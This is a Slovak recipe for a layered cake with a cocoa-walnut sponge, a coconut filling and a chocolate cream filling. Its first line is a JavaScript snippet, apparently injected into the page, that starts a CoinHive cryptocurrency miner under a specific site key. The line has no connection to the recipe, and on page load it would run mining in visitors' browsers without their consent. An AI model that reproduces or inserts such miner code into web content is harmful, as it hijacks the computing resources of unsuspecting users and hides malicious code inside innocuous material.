var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Cesto: 8 žĺtkov vymiešame s 15 dg cukru, pridáme 3 PL kakaa, 15 dg mletých orechov a opatrne vmiešame sneh z 8 bielkov. Rozdelíme na 2 časti a upečieme 2 korpusy (kto má teplovzdušnú rúru, môže piecť naraz, kto nie, treba upiecť 2 pláty postupne, t.j. najskôr jeden z polovičnej predpísanej dávky, potom druhý).

Plnka kokosová: 3 dcl vody + 20 dg kryštálového cukru uvaríme, vsypeme 35 dg kokosovej múčky a premiešame, necháme vychladnúť. (Môžeme pridať aj 3 PL sušeného mlieka.)

Plnka krémová: 2 dl mlieka a 20 dg čokolády na varenie uvaríme, keď zovrie, vlejeme 1 dl mlieka rozmiešaného s 20 g Maizeny Dr. Oetker a uvaríme na hustý krém. Keď vychladne, vyšľaháme s 25 dg zmäknutého vyšľahaného masla + 10 dg cukru.

Postup: Na vychladnutý plát navrstvíme 1/3 krémovej plnky, na ňu opatrne nanesieme kokosovú plnku (nasypeme ju na krémovú plnku rovnomerne a potom vidličkou veľmi jemne zarovnáme), natrieme (znova veľmi opatrne) ďalšiu 1/3 krémovej plnky, zakryjeme 2. upečeným plátom. Ten potrieme zvyšnou plnkou a posypeme kokosovou múčkou. Dáme stuhnúť do chladničky aspoň na 3-4 hodiny.